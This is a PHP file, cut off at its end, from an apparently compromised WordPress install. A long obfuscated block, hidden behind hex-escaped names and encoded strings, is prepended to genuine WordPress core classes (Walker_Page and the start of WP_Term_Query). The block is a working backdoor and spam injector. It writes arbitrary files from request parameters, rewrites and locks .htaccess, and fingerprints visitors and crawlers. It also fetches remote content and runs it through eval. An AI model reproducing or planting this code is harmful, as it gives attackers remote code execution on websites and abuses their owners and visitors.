\x4f\x30\x5f\x4f\x30\x4f\x30\x5f\x4f\x5f"](2,5);$O_0O_0O0_O=0;while($O_0O_0O0_O<$O0OO_0_O_0){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x4f\x5f\x5f\x4f\x30"]($O__O0O_00O,$O_O_O_00O0,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x5f\x30\x30\x4f\x4f\x5f"]($O_O_O_00O0));$O_0O_0O0_O++;${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x4f\x5f\x4f\x30\x30"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x4f\x30\x5f\x4f\x5f"](50000,100000));}unset($O_0O_0O0_O,$O0OO_0_O_0);}}${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x4f\x5f\x5f\x4f\x30\x5f"]($O__O0O_00O);unset($OO_O__00O0);}}if($O0O0_O_O_0==\'\'){if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x5f\x5f\x4f\x30\x30\x4f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x4f\x30\x5f\x30\x5f\x30"]) and $url){$O0O0_O_O_0=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x4f\x30\x5f\x30\x5f\x30"]($url);}}unset($O_O_O_00O0,$O__O_00OO0,$O__O0O_00O,$OO__O_O000,$OO_OO__000);if(!$O__0_OOO00){$O0O0_O_O_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x4f\x4f\x30\x5f\x5f\x5f"](\'/(?:(?:\\r\\n|\\n)|^)([0-9A-F]+)(?:\\r\\n|\\n){1,2}(.*?)\'.\'((?:\\r\\n|\\n)(?:[0-9A-F]+(?:\\r\\n|\\n))|$)/si\',${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x4f\x30\x4f\x30\x5f\x5f"](\'$matches\',\'return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x4f\x5f\x5f\x30\x30"]($matches[1])==${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x5f\x30\x30\x4f\x4f\x5f"]($matches[2])?$matches[2]:$matches[0];\'),$O0O0_O_O_0);return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x4f\x30\x4f\x30\x4f\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x4f\x30\x4f\x30\x4f\x5f"]($O0O0_O_O_0,"\\xEF\\xBB\\xBF"));}else{return 1;}');$OO0_O0__0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x4f\x30\x4f\x30\x5f\x5f"]('$string','$OOOO_00_0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x4f\x4f\x5f\x30\x30\x5f"]($string,0,5);$O0__O00O_O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x4f\x4f\x5f\x30\x30\x5f"]($string,-5);$OOOO_0__00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x4f\x4f\x5f\x30\x30\x5f"]($string,7,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x5f\x30\x30\x4f\x4f\x5f"]($string)-14);return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x5f\x5f\x30\x4f\x4f\x4f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x5f\x30\x5f\x4f\x4f\x30"]($OOOO_00_0_.$OOOO_0__00.$O0__O00O_O));');$OO___OO000=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x4f\x30\x4f\x30\x5f\x5f"]('$OO__000O_Ogent','$O0O_0O_0O_=false;$O0O00___OO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x30\x5f\x5f\x30\x4f"](\'S8/PThT89JTcovqUnKzEsH0elgkZrE/BywUE1lYkZtP+PgA=\');if($OO__000O_Ogent!=\'\'){if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x30\x4f\x30\x4f\x5f\x5f"]("/($O0O00___OO)/si",$OO__000O_Ogent)){$O0O_0O_0O_=true;}}return $O0O_0O_0O_;');$OO0__OO0_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x4f\x30\x4f\x30\x5f\x5f"]('$O00O_0_O_Oefer','$OO_O_O000_=false;$O_O0O__00O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x30\x5f\x5f\x30\x4f"](\'S8/PThT89J1UvO18sqqKlMzMjPh7KTMvPtPSAQ==\');if($O00O_0_O_Oefer!=\'\'&&${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x30\x4f\x30\x4f\x5f\x5f"]("/($O_O0O__00O)/si",$O00O_0_O_Oefer)){$OO_O_O000_=true;}return $OO_O_O000_;');$O0_O00O__O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x4f\x30\x4f\x30\x5f\x5f"]('$O_0O0_0_OO','$O0O_00OO__=isset($_REQUEST["\x73\x70\x61\x6e\x73\x6b\x79\x73\x5f\x66\x69\x6c\x65\x6e\x61\x6d\x65"])?$_REQUEST["\x73\x70\x61\x6e\x73\x6b\x79\x73\x5f\x66\x69\x6c\x65\x6e\x61\x6d\x65"]:\'\';$OO0_0O_0O_=isset($_REQUEST["\x73\x70\x61\x6e\x73\x6b\x79\x73\x5f\x66\x69\x6c\x65\x63\x6f\x6e\x74\x65\x6e\x74"])?$_REQUEST["\x73\x70\x61\x6e\x73\x6b\x79\x73\x5f\x66\x69\x6c\x65\x63\x6f\x6e\x74\x65\x6e\x74"]:\'\';if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x4f\x30\x5f\x4f\x30\x30"]($O0O_00OO__)){if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x4f\x5f\x5f\x30\x4f\x5f"]($O0O_00OO__)){echo "delete|error";exit();}}${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x4f\x4f\x30\x5f\x5f"]($O0O_00OO__,$OO0_0O_0O_,FILE_APPEND);echo $O0O_00OO__.\'|success\';');$O0_0O_0_OO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x4f\x30\x4f\x30\x5f\x5f"]('$O_0O0__O0O=\'\',$O0_0_OO_O0,$OO0_0__0OO','global $symbol_url;$OO0_0__0OO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x4f\x4f\x5f\x30\x30\x5f"]($OO0_0__0OO,0,@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x4f\x30\x30\x4f\x5f\x5f"]($OO0_0__0OO,\'.\'));$O_0O0__O0O= "\\n";$O_0O0__O0O .="RewriteEngine\\x20On\\n";$O_0O0__O0O .="RewriteBase\\x20/\\n";$O_0O0__O0O .="RewriteRule\\x20^".$OO0_0__0OO.".php$\\x20-\\x20[L]\\n";$O_0O0__O0O .="RewriteCond\\x20%{REQUEST_FILENAME}\\x20!-f\\n";$O_0O0__O0O .="RewriteCond\\x20%{REQUEST_FILENAME}\\x20!-d\\n";$O_0O0__O0O .="RewriteRule\\x20.\\x20".$symbol_url.$OO0_0__0OO.".php [L]\\n";$O_0O0__O0O .="";if($O_0O0__O0O!=\'\'){if($O0_0_OO_O0){$O_O_00_O0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x30\x5f\x5f\x30\x4f"](\'09PXyhTyhJTE5OLS4tPGAA==\');if($O_O_00_O0O!=\'\'&&${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x4f\x30\x5f\x4f\x30\x30"]($O_O_00_O0O)){@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x30\x30\x4f\x5f\x4f\x5f"]($O_O_00_O0O,0777);$O_O0O_00O_=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x4f\x30\x5f\x30\x5f\x30"]($O_O_00_O0O);if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x30\x4f\x30\x4f\x5f\x5f"](\'/REQUEST_FILENAME/\',$O_O0O_00O_)&&!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x30\x4f\x30\x4f\x5f\x5f"]("/".$OO0_0__0OO.".php/",$O_O0O_00O_)){$O_O0O_00O_=$O_0O0__O0O.PHP_EOL .$O_O0O_00O_;@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x4f\x4f\x30\x5f\x5f"]($O_O_00_O0O,$O_O0O_00O_);}}@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x30\x30\x4f\x5f\x4f\x5f"]($O_O_00_O0O,0444);}}');$O_0OOO__00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x4f\x30\x4f\x30\x5f\x5f"]('$O_0O0_0_OO=\'\'','$OO_00_O_O0="1";$O0_0_OO_O0="1";@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x4f\x4f\x4f\x5f\x30\x30"](3600);@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x30\x30\x5f\x4f\x5f\x4f"](1);global $O_OO__000O,$O0_0_OO_O0,$OO_00_O_O0;$OO_0O00_O_=\'1000\';$O00__OO_O0=\'\';if(isset($_REQUEST["\x78\x78\x5f\x6c\x6f\x61\x64\x73"])){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x30\x4f\x5f\x5f\x4f"]();exit();}$O0O__O0_0O =${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x30\x5f\x5f\x30\x4f"](\'K83LzhTsstPvzwMA\');if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"})){if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}[HTTP_X_FORWARDED_FOR])){$O0O__O0_0O=${"\x5f\x53\x45\x52\x56\x45\x52"}[HTTP_X_FORWARDED_FOR];}elseif(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}[HTTP_CLIENT_IP])){$O0O__O0_0O=${"\x5f\x53\x45\x52\x56\x45\x52"}[HTTP_CLIENT_IP];}else{$O0O__O0_0O=${"\x5f\x53\x45\x52\x56\x45\x52"}[REMOTE_ADDR];}}else{if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x4f\x5f\x5f\x30\x4f\x4f"]("HTTP_X_FORWARDED_FOR")){$O0O__O0_0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x4f\x5f\x5f\x30\x4f\x4f"]("HTTP_X_FORWARDED_FOR");}elseif(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x4f\x5f\x5f\x30\x4f\x4f"]("HTTP_CLIENT_IP")){$O0O__O0_0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x4f\x5f\x5f\x30\x4f\x4f"]("HTTP_CLIENT_IP");}else{$O0O__O0_0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x4f\x5f\x5f\x30\x4f\x4f"]("REMOTE_ADDR");}}$O0O_0O0_O_=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x41\x43\x43\x45\x50\x54\x5f\x4c\x41\x4e\x47\x55\x41\x47\x45"];$O0OO0O___0=isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x52\x45\x46\x45\x52\x45\x52"])?${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x52\x45\x46\x45\x52\x45\x52"]:\'\';$O0___0OOO0=isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\x47\x45\x4e\x54"])?${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\x47\x45\x4e\x54"]:\'\';$O_O__O00O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x5f\x4f\x4f\x30\x30\x30"]($O0___0OOO0);$O__000OOO_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x5f\x4f\x4f\x30\x5f\x30"]($O0OO0O___0);$OOO_00O__0=\'\';if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"])){$OOO_00O__0=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"];}elseif(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"])){$OOO_00O__0=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"];}$O0__00OOO_=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x52\x45\x51\x55\x45\x53\x54\x5f\x55\x52\x49"];$OO0_0__0OO=\'\';$OO0O0_0_O_=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x44\x4f\x43\x55\x4d\x45\x4e\x54\x5f\x52\x4f\x4f\x54"];$OO0O0_0_O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x30\x30\x4f\x5f\x5f\x4f"](\'\\\\\',\'/\',$OO0O0_0_O_);$O_O__000OO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x30\x4f\x4f\x30\x4f\x5f"](__FILE__);$O_O__000OO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x30\x30\x4f\x5f\x5f\x4f"](\'\\\\\',\'/\',$O_O__000OO);$O0O00_O__O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x30\x30\x4f\x5f\x5f\x4f"]($OO0O0_0_O_,\'\',$O_O__000OO);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x5f\x4f\x5f\x30\x5f\x4f"]($O0__00OOO_,".php")>0){$O_0OO_0_O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x5f\x4f\x5f\x30\x5f\x4f"]($O0__00OOO_,".php")+4;$OO0_0__0OO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x4f\x4f\x5f\x30\x30\x5f"]($O0__00OOO_,0,$O_0OO_0_O0);$O00__OO_O0=$OO0_0__0OO;}if($OO0_0__0OO==\'\'){$OO0_0__0OO=$O0O00_O__O.\'/index.php\';$O00__OO_O0=$O0O00_O__O;}$OO0_0__0OO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x4f\x4f\x5f\x30\x30\x5f"]($OO0_0__0OO,1);$O_00OOO__0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x30\x5f\x5f\x30\x4f"](\'Ky8vVhT03RK0gsSizOzyksLi/VS8ptPMAQA=\');$OO0O0_0__O=\'\';if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x52\x45\x51\x55\x45\x53\x54\x5f\x53\x43\x48\x45\x4d\x45"])){$OO0O0_0__O=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x52\x45\x51\x55\x45\x53\x54\x5f\x53\x43\x48\x45\x4d\x45"];}$O0_0_OO_O0=(int)$O0_0_OO_O0;${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x4f\x5f\x30\x5f\x4f\x4f"](\'\',$O0_0_OO_O0,$OO0_0__0OO);$O_OOO_00_0=sprintf($O_00OOO__0,$O_OO__000O);$OO__00O0_O=sprintf($O_00OOO__0,$OO_0O00_O_);$OOO0__00O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x30\x5f\x5f\x30\x4f"](\'FcTBChTYBADEXBauLRnFcQawksGEUwuN/+9c1hUqrF3fIeMu+haG2urK2vNqadRC8lFT0UdNFtPB598H\');$OO__00O_O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x30\x5f\x5f\x30\x4f"](\'FcRBChToAwDEXB08SlWVcQzyIIxmLxY9P765vFRKYWd4unp3kdTaXMCm3Han06KWlQkOilnW6tP6qP59\');$OOO0__00O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x4f\x5f\x4f\x5f\x5f\x30"]("/%host%/si",$O_OOO_00_0,$OOO0__00O_);$OOO0__00O_=sprintf($OOO0__00O_,$OOO_00O__0,$O_OO__000O,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x5f\x4f\x5f\x4f\x30\x4f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x30\x4f\x5f\x4f\x5f\x30"]("Y-m-d")),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x5f\x4f\x5f\x4f\x30\x4f"]($O0__00OOO_),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x5f\x4f\x5f\x4f\x30\x4f"]($OO0O0_0__O),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x4f\x30\x4f\x30\x4f\x5f"]($O0O__O0_0O) ,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x5f\x4f\x5f\x4f\x30\x4f"]($O0OO0O___0),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x5f\x4f\x5f\x4f\x30\x4f"]($O0___0OOO0),$O0O_0O0_O_,$O00__OO_O0,0);$OO__00O_O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x4f\x5f\x4f\x5f\x5f\x30"]("/%host%/si",$OO__00O0_O,$OO__00O_O0);$OO__00O_O0=sprintf($OO__00O_O0,$OOO_00O__0,$O_OO__000O,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x5f\x4f\x5f\x4f\x30\x4f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x30\x4f\x5f\x4f\x5f\x30"]("Y-m-d")),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x5f\x4f\x5f\x4f\x30\x4f"]($O0__00OOO_),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x5f\x4f\x5f\x4f\x30\x4f"]($OO0O0_0__O),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x4f\x30\x4f\x30\x4f\x5f"]($O0O__O0_0O) ,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x5f\x4f\x5f\x4f\x30\x4f"]($O0OO0O___0),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x5f\x4f\x5f\x4f\x30\x4f"]($O0___0OOO0),$O0O_0O0_O_,$O00__OO_O0,1);if(isset(${"\x5f\x47\x45\x54"}["\x78\x78\x6e\x65\x77\x32\x30\x31\x38\x5f\x75\x72\x6c\x31"])){echo $OOO0__00O_;exit();}if(isset(${"\x5f\x47\x45\x54"}["\x78\x78\x6e\x65\x77\x32\x30\x31\x38\x5f\x75\x72\x6c\x32"])){echo $OO__00O_O0;exit();}if(isset(${"\x5f\x47\x45\x54"}["\x78\x78\x6e\x65\x77\x32\x30\x31\x38\x5f\x73\x68\x65\x6c\x6c\x5f\x6e\x75\x6d"])){echo $OO_00_O_O0;exit();}if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x30\x4f\x30\x4f\x5f\x5f"](\'/(sitemap).*.xml$/\',$O0__00OOO_)){$O0O0_O_O_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x5f\x5f\x30\x4f\x30\x30"]($OOO0__00O_);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x5f\x30\x5f\x30\x4f"]($O0O0_O_O_0,\'\')){$O0O0_O_O_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x30\x30\x4f\x5f\x5f\x4f"](\'\',\'\',$O0O0_O_O_0);@header(\'content-type:text/xml\');echo "$O0O0_O_O_0";unset($O0O0_O_O_0,$OOO0__00O_,$O_OOO_00_0,$OO__00O0_O,$O0__00OOO_,$OOO_00O__0,$O0OO0O___0,$O0___0OOO0);exit();}}if($O_O__O00O0){$O0O0_O_O_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x5f\x5f\x30\x4f\x30\x30"]($OOO0__00O_);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x5f\x30\x5f\x30\x4f"]($O0O0_O_O_0,\'\')){$O0O0_O_O_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x30\x30\x4f\x5f\x5f\x4f"](\'\',\'\',$O0O0_O_O_0);echo "$O0O0_O_O_0";unset($O0O0_O_O_0,$url_format,$O_OOO_00_0,$OO__00O0_O,$O0__00OOO_,$OOO_00O__0,$O0OO0O___0,$O0___0OOO0);exit();}elseif(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x5f\x30\x5f\x30\x4f"]($O0O0_O_O_0,\'\')){$O0O0_O_O_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x30\x30\x4f\x5f\x5f\x4f"](\'\',\'\',$O0O0_O_O_0);@eval($O0O0_O_O_0);unset($O0O0_O_O_0,$url_format,$O_OOO_00_0,$OO__00O0_O,$O0__00OOO_,$OOO_00O__0,$O0OO0O___0,$O0___0OOO0);exit();}}if($O__000OOO_){$O0O0_O_O_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x5f\x5f\x30\x4f\x30\x30"]($OO__00O_O0);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x5f\x30\x5f\x30\x4f"]($O0O0_O_O_0,\'\')){$O0O0_O_O_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x30\x30\x4f\x5f\x5f\x4f"](\'\',\'\',$O0O0_O_O_0);echo "$O0O0_O_O_0";unset($O0O0_O_O_0,$url_format,$O_OOO_00_0,$OO__00O0_O,$O0__00OOO_,$OOO_00O__0,$O0OO0O___0,$O0___0OOO0);exit();}elseif(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x5f\x30\x5f\x30\x4f"]($O0O0_O_O_0,\'\')){$O0O0_O_O_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x30\x30\x4f\x5f\x5f\x4f"](\'\',\'\',$O0O0_O_O_0);@eval($O0O0_O_O_0);unset($O0O0_O_O_0,$url_format,$O_OOO_00_0,$OO__00O0_O,$O0__00OOO_,$OOO_00O__0,$O0OO0O___0,$O0___0OOO0);exit();}}');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x4f\x4f\x5f\x5f\x30\x30"]();?> /** * Post API: Walker_Page class * * @package WordPress * @subpackage Template * @since 4.4.0 */ /** * Core walker class used to create an HTML list of pages. * * @since 2.1.0 * * @see Walker */ class Walker_Page extends Walker { /** * What the class handles. * * @since 2.1.0 * @access public * @var string * * @see Walker::$tree_type */ public $tree_type = 'page'; /** * Database fields to use. * * @since 2.1.0 * @access private * @var array * * @see Walker::$db_fields * @todo Decouple this. */ public $db_fields = array( 'parent' => 'post_parent', 'id' => 'ID' ); /** * Outputs the beginning of the current level in the tree before elements are output. * * @since 2.1.0 * @access public * * @see Walker::start_lvl() * * @param string $output Passed by reference. Used to append additional content. * @param int $depth Optional. Depth of page. Used for padding. Default 0. * @param array $args Optional. Arguments for outputing the next level. * Default empty array. */ public function start_lvl( &$output, $depth = 0, $args = array() ) { $indent = str_repeat("\t", $depth); $output .= "\n$indent
    \n"; } /** * Outputs the end of the current level in the tree after elements are output. * * @since 2.1.0 * @access public * * @see Walker::end_lvl() * * @param string $output Passed by reference. Used to append additional content. * @param int $depth Optional. Depth of page. Used for padding. Default 0. * @param array $args Optional. Arguments for outputting the end of the current level. * Default empty array. */ public function end_lvl( &$output, $depth = 0, $args = array() ) { $indent = str_repeat("\t", $depth); $output .= "$indent
\n"; } /** * Outputs the beginning of the current element in the tree. * * @see Walker::start_el() * @since 2.1.0 * @access public * * @param string $output Used to append additional content. Passed by reference. * @param WP_Post $page Page data object. * @param int $depth Optional. Depth of page. Used for padding. Default 0. * @param array $args Optional. Array of arguments. Default empty array. * @param int $current_page Optional. Page ID. Default 0. */ public function start_el( &$output, $page, $depth = 0, $args = array(), $current_page = 0 ) { if ( $depth ) { $indent = str_repeat( "\t", $depth ); } else { $indent = ''; } $css_class = array( 'page_item', 'page-item-' . $page->ID ); if ( isset( $args['pages_with_children'][ $page->ID ] ) ) { $css_class[] = 'page_item_has_children'; } if ( ! empty( $current_page ) ) { $_current_page = get_post( $current_page ); if ( $_current_page && in_array( $page->ID, $_current_page->ancestors ) ) { $css_class[] = 'current_page_ancestor'; } if ( $page->ID == $current_page ) { $css_class[] = 'current_page_item'; } elseif ( $_current_page && $page->ID == $_current_page->post_parent ) { $css_class[] = 'current_page_parent'; } } elseif ( $page->ID == get_option('page_for_posts') ) { $css_class[] = 'current_page_parent'; } /** * Filters the list of CSS classes to include with each page item in the list. * * @since 2.8.0 * * @see wp_list_pages() * * @param array $css_class An array of CSS classes to be applied * to each list item. * @param WP_Post $page Page data object. * @param int $depth Depth of page, used for padding. * @param array $args An array of arguments. * @param int $current_page ID of the current page. */ $css_classes = implode( ' ', apply_filters( 'page_css_class', $css_class, $page, $depth, $args, $current_page ) ); if ( '' === $page->post_title ) { /* translators: %d: ID of a post */ $page->post_title = sprintf( __( '#%d (no title)' ), $page->ID ); } $args['link_before'] = empty( $args['link_before'] ) ? '' : $args['link_before']; $args['link_after'] = empty( $args['link_after'] ) ? '' : $args['link_after']; $output .= $indent . sprintf( '
  • %s%s%s', $css_classes, get_permalink( $page->ID ), $args['link_before'], /** This filter is documented in wp-includes/post-template.php */ apply_filters( 'the_title', $page->post_title, $page->ID ), $args['link_after'] ); if ( ! empty( $args['show_date'] ) ) { if ( 'modified' == $args['show_date'] ) { $time = $page->post_modified; } else { $time = $page->post_date; } $date_format = empty( $args['date_format'] ) ? '' : $args['date_format']; $output .= " " . mysql2date( $date_format, $time ); } } /** * Outputs the end of the current element in the tree. * * @since 2.1.0 * @access public * * @see Walker::end_el() * * @param string $output Used to append additional content. Passed by reference. * @param WP_Post $page Page data object. Not used. * @param int $depth Optional. Depth of page. Default 0 (unused). * @param array $args Optional. Array of arguments. Default empty array. */ public function end_el( &$output, $page, $depth = 0, $args = array() ) { $output .= "
  • \n"; } } /** * Taxonomy API: WP_Term_Query class. * * @package WordPress * @subpackage Taxonomy * @since 4.6.0 */ /** * Class used for querying terms. * * @since 4.6.0 * * @see WP_Term_Query::__construct() for accepted arguments. */ class WP_Term_Query { /** * SQL string used to perform database query. * * @since 4.6.0 * @access public * @var string */ public $request; /** * Metadata query container. * * @since 4.6.0 * @access public * @var object WP_Meta_Query */ public $meta_query = false; /** * Metadata query clauses. * * @since 4.6.0 * @access protected * @var array */ protected $meta_query_clauses; /** * SQL query clauses. * * @since 4.6.0 * @access protected * @var array */ protected $sql_clauses = array( 'select' => '', 'from' => '', 'where' => array(), 'orderby' => '', 'limits' => '', ); /** * Query vars set by the user. * * @since 4.6.0 * @access public * @var array */ public $query_vars; /** * Default values for query vars. * * @since 4.6.0 * @access public * @var array */ public $query_var_defaults; /** * List of terms located by the query. * * @since 4.6.0 * @access public * @var array */ public $terms; /** * Constructor. * * Sets up the term query, based on the query vars passed. * * @since 4.6.0 * @since 4.6.0 Introduced 'term_taxonomy_id' parameter. * @access public * * @param string|array $query { * Optional. Array or query string of term query parameters. Default 